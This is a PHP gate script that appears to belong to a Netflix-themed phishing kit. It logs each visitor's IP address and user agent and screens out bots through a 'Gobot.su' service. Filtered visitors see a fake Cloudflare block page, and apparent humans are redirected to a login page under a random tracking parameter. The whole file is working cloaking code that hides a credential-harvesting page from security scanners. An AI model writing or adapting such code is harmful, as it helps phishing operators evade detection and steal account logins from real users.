<?php
session_start();
ob_start();
include 'setup/function.php';

$ip = $_SERVER['REMOTE_ADDR'];
$userAgent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown';
$ipData = fetchIpData($ip, $userAgent);

if($access['parameter_status'] == '1')
{
    if(empty($_SESSION['parameter']))
    {
        saveIp($deniedIpsFile, $ip);
        saveIpData($ipData, 'Session User Blocked');
        showCloudflareBlocked();
    }
    
    if($_SESSION['parameter'] != 'netflix')
    {
        saveIp($deniedIpsFile, $ip);
        saveIpData($ipData, 'Session User Blocked');
        showCloudflareBlocked();
    }
}

if (!$ip || !$userAgent) {
    saveIp($deniedIpsFile, $ip);
    showCloudflareBlocked();
}

// Gobot.su Bot Detection
if($config['gobot_status'] == '1') {
    if (elkontjem($ip, $userAgent) == 'bot') {
        saveIp($deniedIpsFile, $ip);
        saveIpData($ipData, 'Blocked by Gobot.su');
        showCloudflareBlocked();
    }
}

saveIp($acceptedIpsFile, $ip);

if ($ipData) saveIpData($ipData, 'Human Visitor');

if($dataPage['login_template'] == '1')
{
    header("Location: login?auth_max_open=0&ref=".generateRandomString(100));
} else if($dataPage['login_template'] == '2')
{
    header("Location: logins?auth_max_open=0&ref=".generateRandomString(100));
} else {
    http_response_code(404);
    exit;
}

ob_flush();